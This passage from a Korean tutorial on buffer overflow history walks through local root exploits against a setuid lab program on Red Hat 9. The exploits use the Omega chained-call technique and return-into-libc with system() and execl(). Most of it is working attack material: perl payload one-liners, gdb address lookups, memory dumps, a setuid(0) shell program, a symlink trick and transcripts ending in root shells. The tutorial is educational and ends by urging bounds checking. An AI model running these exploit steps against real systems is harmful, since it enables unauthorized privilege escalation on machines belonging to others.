{ if(i%16==0) printf("0x%08x ",&buff[i]); printf("%02x ",buff[i]); if(i%16-15==0) { int j; printf(" "); for(j=i-15;j<=i;j++) printchar(buff[j]); printf(" n"); if(i%16!=0) { int j; int spaces=(len-i+16-i%16)*3+2; for(j=0;j<spaces;j++) printf(" "); for(j=i-i%16;j<len;j++) printchar(buff[j]); printf(" n"); 취약프로그램을컴파일하고실행시켜보면다음과같은메모리정보가출력된다../vul `perl -e 'print "a"x28,"bbbb"'` 0xbfffde50 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0xbfffde60 61 61 61 61 61 61 61 61 61 61 61 61 62 62 62 62 aaaaaaaaaaaabbbb 0xbfffde70 00 00 00 00 b4 de ff bf c0 de ff bf 2c 58 01 40...,X.@ 0xbfffde80 02 00 00 00 14 83 04 08 00 00 00 00 35 83 04 08...5... 0xbfffde90 c2 85 04 08 02 00 00 00 b4 de ff bf 24 86 04 08...$... 0xbfffdea0 54 86 04 08 60 c6 00 40 ac de ff bf 00 00 00 00 T...`..@... 0xbfffdeb0 02 00 00 00 c1 fb ff bf c7 fb ff bf 00 00 00 00... 0xbfffdec0 e8 fb ff bf 07 fc ff bf 12 fc ff bf 22 fc ff bf..."... 23
세그멘테이션오류 28바이트를입력하여 sfp 까지덮어쓰고, ret는 bbbb라는문자열이덮어쓴것을알수있다. 좀더자세히보면메모리상에 00 00 00 00 이있는것도확인할수있다. 이값들은 setreuid의인자로전달하기에손색이없는듯하다. 공격자가직접넣어줄수없다면, 메모리에존재하는것을인자로전달하는것이다. 하지만, 한참뒤에존재하는 00 00 00 00 을어떻게 setreuid의인자로전달할것인가하는문제가남아있는데, 그문제는임의의함수를계속 call 하는방법으로해결할것이다. 그렇게되면프로그램의실행은계속이어져서결국엔 00 00 00 00 이있는곳까지도달하여 setreuid의인자로전달할수있게된다. 여기에서는 printf를호출하기로하자. gdb -q vul1 (gdb) break main Breakpoint 1 at 0x8048396 (gdb) r Starting program: /home/hardsoju/bof/bof/vul1 Breakpoint 1, 0x08048396 in main () (gdb) x/x printf 0x4204f0e0 <printf>: 0x83e58955 (gdb) x/x setreuid 0x420d7920 <setreuid>: 0x53e58955 (gdb) x/x system 0x4203f2c0 <system>: 0x83e58955 (gdb) q 간혹쉘기반에서입력되지않는문자들이있는데이런경우에는 로한번더묶어주어야한다../vul "`perl -e 'print "a"x28," xe0 xf0 x04 x42"x5," x20 x79 x0d x42 xc0 xf2 x03 x42"'`" 0xbfffe5c0 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0xbfffe5d0 61 61 61 61 61 61 61 61 61 61 61 61 e0 f0 04 42 aaaaaaaaaaaa...b 0xbfffe5e0 e0 f0 04 42 e0 f0 04 42 e0 f0 04 42 e0 f0 04 42...B...B...B...B 0xbfffe5f0 20 79 0d 42 c0 f2 03 42 00 00 00 00 35 83 04 08 y.b...b...5... 24
0xbfffe600 c2 85 04 08 02 00 00 00 24 e6 ff bf 24 86 04 08...$...$... 0xbfffe610 54 86 04 08 60 c6 00 40 1c e6 ff bf 00 00 00 00 T...`..@... 0xbfffe620 02 00 00 00 a9 fb ff bf af fb ff bf 00 00 00 00... 0xbfffe630 e8 fb ff bf 07 fc ff bf 12 fc ff bf 22 fc ff bf..."... sh: line 1:? 륶됧 SP? command not found 세그멘테이션오류 쉘이실행되었다. 이제심볼릭링크를걸고쉘을띄워보자../vul "`perl -e 'print "a"x28," xe0 xf0 x04 x42"x5," x20 x79 x0d x42 xc0 xf2 x03 x42"'`" 2>out 0xbfffdcc0 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0xbfffdcd0 61 61 61 61 61 61 61 61 61 61 61 61 e0 f0 04 42 aaaaaaaaaaaa...b 0xbfffdce0 e0 f0 04 42 e0 f0 04 42 e0 f0 04 42 e0 f0 04 42...B...B...B...B 0xbfffdcf0 20 79 0d 42 c0 f2 03 42 00 00 00 00 35 83 04 08 y.b...b...5... 0xbfffdd00 c2 85 04 08 02 00 00 00 24 dd ff bf 24 86 04 08...$...$... 0xbfffdd10 54 86 04 08 60 c6 00 40 1c dd ff bf 00 00 00 00 T...`..@... 0xbfffdd20 02 00 00 00 a9 fb ff bf af fb ff bf 00 00 00 00... 0xbfffdd30 e8 fb ff bf 07 fc ff bf 12 fc ff bf 22 fc ff bf..."... 세그멘테이션오류 ls -l out -rw-rw-r-- 1 hardsoju hardsoju 41 1월 26 14:40 out./link out filename =? 륶됧SP?./vul "`perl -e 'print "a"x28," xe0 xf0 x04 x42"x5," x20 x79 x0d x42 xc0 xf2 x03 x42"'`" 0xbfffe4c0 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0xbfffe4d0 61 61 61 61 61 61 61 61 61 61 61 61 e0 f0 04 42 aaaaaaaaaaaa...b 0xbfffe4e0 e0 f0 04 42 e0 f0 04 42 e0 f0 04 42 e0 f0 04 42...B...B...B...B 0xbfffe4f0 20 79 0d 42 c0 f2 03 42 00 00 00 00 35 83 04 08 y.b...b...5... 0xbfffe500 c2 85 04 08 02 00 00 00 24 e5 ff bf 24 86 04 08...$...$... 0xbfffe510 54 86 04 08 60 c6 00 40 1c e5 ff bf 00 00 00 00 T...`..@... 0xbfffe520 02 00 00 00 a9 fb ff bf af fb ff bf 00 00 00 00... 25
0xbfffe530 e8 fb ff bf 07 fc ff bf 12 fc ff bf 22 fc ff bf..."... [root@localhost bof]# id uid=0(root) gid=500(hardsoju) groups=500(hardsoju) [root@localhost bof]# exit exit 세그멘테이션오류 root 쉘을획득하였다. 여기에서는이해를돕기위해 dumpcode를이용하였지만, 실제실행파일만있을시에는 dumpcode를이용할수없다. 그러나메모리구조에대한이해만있다면 gdb를이용해서도가능할것이다. 또한, 00 00 00 00의정확한위치를모르더라도 printf의호출횟수를높여가며프로그램의실행을계속이어간다면 00 00 00 00 에도달하여 root 쉘을획득할수있을것이다. [5. RTL(return into libc) 의이해 ] 오메가를이해했다면 ret를실행시의공유라이브러리함수로향하게하는것이더이상이상하게생각되지않을것이다. 여기에서도마찬가지로 ret를프로그램실행시의공유라이브러리함수로조작하여프로그램의실행을이어가면서쉘을획득하는방법을이용할것이다. 앞에서는 shell 을획득하기위해임의의함수를계속 call 해서 uid를 0으로맞추고 system 함수를호출하는방식을사용하였다. 이번에는 system 함수를이용하여일반쉘을획득하는방법과, execl 함수를호출하여 root shell을획득하는것을설명하겠다. [5.1 RTL을이용한 shell 획득 ] system 함수를호출하여일반쉘을획득해보도록하겠다. 심볼릭링크를사용하지않고, 직접 system 함수의인자로 /bin/sh 문자열이위치한주소를넣어줄것이다. gdb -q vul1 (gdb) break main Breakpoint 1 at 0x8048396 (gdb) r Starting program: /home/hardsoju/bof/bof/vul1 26
main 함수에브레이크포인트를잡고, 프로그램을실행시켜 system 함수의주소를알아낸다. Breakpoint 1, 0x08048396 in main () (gdb) x/x system 0x4203f2c0 <system>: 0x83e58955 (gdb) q The program is running. Exit anyway? (y or n) y 이제 /bin/sh 문자열이있는주소를알아내야한다. 먼저환경변수에 /bin/sh 문자열을등록하고, 주소를알아내는방법을사용하도록하겠다. export SH="/bin/sh"./get SH address 0xbffffec4 system 함수는 ebp+8 의위치를인자로참조하기때문에 ebp+8의위치에 /bin/sh 문자열이있는주소를집어넣어공격해야한다. 28바이트를입력하여 sfp까지덮어쓰고 ret에는 system 함수의주소를, 그리고더미값으로 4바이트를입력후 /bin/sh 문자열의주소를넣어준다. 24 4 4 4 4 즉, [buf][sfp][ret][dummy][/bin/sh addr] 가된다../vul `perl -e 'print "a"x28," xc0 xf2 x03 x42","aaaa"," xc4 xfe xff xbf"'` sh-2.05b$ id uid=500(hardsoju) gid=500(hardsoju) groups=500(hardsoju) sh-2.05b$ ps PID TTY TIME CMD 10304 pts/1 00:00:00 bash 10354 pts/1 00:00:00 sh 10356 pts/1 00:00:00 ps sh-2.05b$ exit exit 세그멘테이션오류 27
정상적으로 system 함수가호출되고쉘을획득하였다. [5.2 RTL을이용한 root shell 획득 ] 이번에는 execl 함수를호출하고, 스택에는 execl 함수의인자조건을충족하도록배치하 여정상적인호출이일어나도록한후심볼릭링크를이용하여쉘을획득할것이다. execl 함수는인자가몇개가오든지상관이없고, 마지막은 NULL로끝나야한다는조건 이있다. 이조건만만족시켜준다면 execl 함수는정상적으로호출되어실행이가능하다. 함수의인자로는랜덤스택에서도변하지않는영역을이용해야한다. 여기서는 DATA SEGMENT를이용할것이며해당영역의특정값을심볼릭링크를걸고, execl 함수의인자로특정값이위치한주소를넣어준후심볼릭링크가실행되게하는 방법이다. gdb -q vul1 (gdb) disas main Dump of assembler code for function main: 0x08048390 <main+0>: push %ebp 0x08048391 <main+1>: mov %esp,%ebp 0x08048393 <main+3>: sub $0x18,%esp 0x08048396 <main+6>: and $0xfffffff0,%esp 0x08048399 <main+9>: mov $0x0,%eax 0x0804839e <main+14>: sub %eax,%esp 0x080483a0 <main+16>: cmpl $0x1,0x8(%ebp) 0x080483a4 <main+20>: jg 0x80483c5 <main+53> 0x080483a6 <main+22>: sub $0x8,%esp 0x080483a9 <main+25>: mov 0xc(%ebp),%eax 0x080483ac <main+28>: pushl (%eax) 0x080483ae <main+30>: push $0x804848c 0x080483b3 <main+35>: call 0x80482b0 <printf> 0x080483b8 <main+40>: add $0x10,%esp 0x080483bb <main+43>: sub $0xc,%esp 0x080483be <main+46>: push $0xffffffff 0x080483c0 <main+48>: call 0x80482c0 <exit> 0x080483c5 <main+53>: sub $0x8,%esp 0x080483c8 <main+56>: mov 0xc(%ebp),%eax 0x080483cb <main+59>: add $0x4,%eax 28
0x080483ce <main+62>: pushl (%eax) 0x080483d0 <main+64>: lea 0xffffffe8(%ebp),%eax 0x080483d3 <main+67>: push %eax 0x080483d4 <main+68>: call 0x80482d0 <strcpy> 0x080483d9 <main+73>: add $0x10,%esp 0x080483dc <main+76>: leave 0x080483dd <main+77>: ret 0x080483de <main+78>: nop 0x080483df <main+79>: nop End of assembler dump. (gdb) break *main+73 Breakpoint 1 at 0x80483d9 strcpy 호출이후지점을브레이크포인트로잡고공격과정과똑같이 sfp와 ret를덮어씌 운상태로프로그램을실행한다. (gdb) r `perl -e 'print "a"x24,"bbbb","cccc"'` Starting program: /home/hardsoju/bof/bof/vul1 `perl -e 'print "a"x24,"bbbb","cccc"'` Breakpoint 1, 0x080483d9 in main () (gdb) x/64wx $esp 0xbfffdfd0: 0xbfffdfe0 0xbffffbd3 0xbfffdfe8 0x0804828d 0xbfffdfe0: 0x61616161 0x61616161 0x61616161 0x61616161 0xbfffdff0: 0x61616161 0x61616161 0x62626262 0x63636363 0xbfffe000: 0x00000000 0xbfffe044 0xbfffe050 0x4001582c 0xbfffe010: 0x00000002 0x080482e0 0x00000000 0x08048301 0xbfffe020: 0x08048390 0x00000002 0xbfffe044 0x080483e0 0xbfffe030: 0x08048410 0x4000c660 0xbfffe03c 0x00000000 0xbfffe040: 0x00000002 0xbffffbb7 0xbffffbd3 0x00000000 0xbfffe050: 0xbffffbf4 0xbffffc13 0xbffffc23 0xbffffc2e 0xbfffe060: 0xbffffc3c 0xbffffc4c 0xbffffc6c 0xbffffc7f 0xbfffe070: 0xbffffc8d 0xbffffe50 0xbffffe94 0xbffffeb2 0xbfffe080: 0xbffffebe 0xbffffed9 0xbffffeee 0xbffffeff 0xbfffe090: 0xbfffff32 0xbfffff46 0xbfffff4e 0xbfffff5f 0xbfffe0a0: 0xbfffff92 0xbfffffb4 0xbfffffcb 0x00000000 0xbfffe0b0: 0x00000020 0xffffe000 0x00000010 0x0febfbff 0xbfffe0c0: 0x00000006 0x00001000 0x00000011 0x00000064 29
(gdb) DATA SEGMENT 영역을찾는것은다음과같다. (gdb) x/32wx 0x08049000 0x8049000: 0x464c457f 0x00010101 0x00000000 0x00000000 0x8049010: 0x00030002 0x00000001 0x080482e0 0x00000034 0x8049020: 0x00001db4 0x00000000 0x00200034 0x00280006 0x8049030: 0x001f0022 0x00000006 0x00000034 0x08048034 0x8049040: 0x08048034 0x000000c0 0x000000c0 0x00000005 0x8049050: 0x00000004 0x00000003 0x000000f4 0x080480f4 0x8049060: 0x080480f4 0x00000013 0x00000013 0x00000004 0x8049070: 0x00000001 0x00000001 0x00000000 0x08048000 (gdb) 0x8049080: 0x08048000 0x000004a4 0x000004a4 0x00000005 0x8049090: 0x00001000 0x00000001 0x000004a4 0x080494a4 0x80490a0: 0x080494a4 0x00000108 0x0000010c 0x00000006 0x80490b0: 0x00001000 0x00000002 0x000004b0 0x080494b0 0x80490c0: 0x080494b0 0x000000c8 0x000000c8 0x00000006 0x80490d0: 0x00000004 0x00000004 0x00000108 0x08048108 0x80490e0: 0x08048108 0x00000020 0x00000020 0x00000004 0x80490f0: 0x00000004 0x62696c2f 0x2d646c2f 0x756e696c (gdb) 이제 execl 함수의주소를알아내야한다. 이번에는 print 명령을이용해보겠다. ( 앞에서와같은방식을이용해도된다.) (gdb) print execl $1 = {<text variable, no debug info> 0x420acaa0 <execl> (gdb) q The program is running. Exit anyway? (y or n) y 다음은 uid를 0으로설정한후, 쉘을실행하는소스이다. cat shell.c int main() { setuid(0); system("/bin/sh"); 30
gcc -o shell shell.c 위소스를컴파일하고, gdb에서찾아낸 DATA SEGMENT 영역의특정값을심볼릭링크를건다. 결과적으로위프로그램이실행되어쉘을획득하게된다. ln -s shell `perl -e 'print " x01"'` x01은 0x8049014 번지에있는값이다. ls -l 합계 256 lrwxrwxrwx 1 hardsoju hardsoju 5 1월 27 03:09? -> shell -rwxrwxr-x 1 hardsoju hardsoju 11640 1월 27 03:09 shell -rw-rw-r-- 1 hardsoju hardsoju 47 1월 27 03:06 shell.c -rwsr-xr-x 1 root root 11766 1월 26 22:05 vul -rw-rw-r-- 1 hardsoju hardsoju 179 1월 26 22:05 vul.c -rwxrwxr-x 1 hardsoju hardsoju 11766 1월 26 03:28 vul1./vul "`perl -e 'print "a"x28," xa0 xca x0a x42"," x14 x90 x04 x08"x6'`" sh-2.05b# id uid=0(root) gid=500(hardsoju) groups=500(hardsoju) sh-2.05b# exit exit 위공격에서 execl 함수의인자로특정값이위치한주소를 6번반복한이유는, 함수가호출된후 7번째위치 (28바이트이후 ) 에 NULL이존재하므로 execl 함수의인자조건을충족하기위함이다. 결과적으로심볼릭링크가실행되어루트쉘을획득하였다. 아래표는 beist.org 에서발췌한프로세스메모리매핑구성표이다. gdb에서 0x08049000을기점으로랜덤하지않은영역을뒤진이유를알것이다. 31
- 프로세스메모리매핑구성표 - STACK LIBRARY Program Text Segment Program Data Segment REDHAT LINUX 9.0 최상위 byte 가 0xbf 이며정확한위치는환경에따라가변적임 /lib/ld-2.3.2.so 0x40000000-0x40016fff /lib/tls/libc-2.3.2.so 0x42000000-0x42132fff 0x8048000-0x8048fff 0x8049000-0x8049fff FEDORA CORE2 최상위 byte 가 0xfe 이며정확한위치는환경에따라가변적임 /lib/ld-2.3.3.so 0x00415000-0x0042bfff /lib/tls/libc-2.3.3.so 0x00432000-0x0054afff 혹은 libc-2.3.3.so 의위치가다음으로바뀔수도있다. /lib/tls/libc-2.3.3.so 0x00111000-0x00229fff 0x8048000-0x8048fff 0x8049000-0x8049fff 출처 : beist.org [6. 마치며 ] 지금까지 buffer overflow 취약점을공격하는여러가지기법에대해서알아보았다. 단지, 고전적인기법부터조금더발전된공격을다뤘다는이유만으로 History Of Buffer Over Flow라는제목을붙여봤다. 그렇기때문에이문서가 buffer overflow 의전체적인역사를말해주는것은아니며, 이외에도수많은공격기법이존재한다. 대부분의프로그래밍입문서에서는데이터의경계를체크해야한다는것을알리지않고있기때문에, buffer overflow 는우리가프로그래밍을공부하는순간부터이미노출되어있는취약점이라는것을인식해야한다. 지금부터라도프로그램개발에만목적을두지말고, 한번더보안을고려한코드를생각해야할것이다. 32
[7. 참고자료 ] beist_overflow beist FEDORA CORE2에서 EXEC-SHIELD 를우회하여 STACK 기반 OVERFLOW 공격기법한번에성공하기 - beist Advanced Buffer Overflow vangelis 해커지망자들이알아야할 Buffer Overflow Attack의기초 dalgona Lamagra의 Omega Project의이해및분석 ttongfly Lamagra의 Omega Project의이해 1,2 hackerleon getuid 시스템에서 omega의적용 - hackerleon 33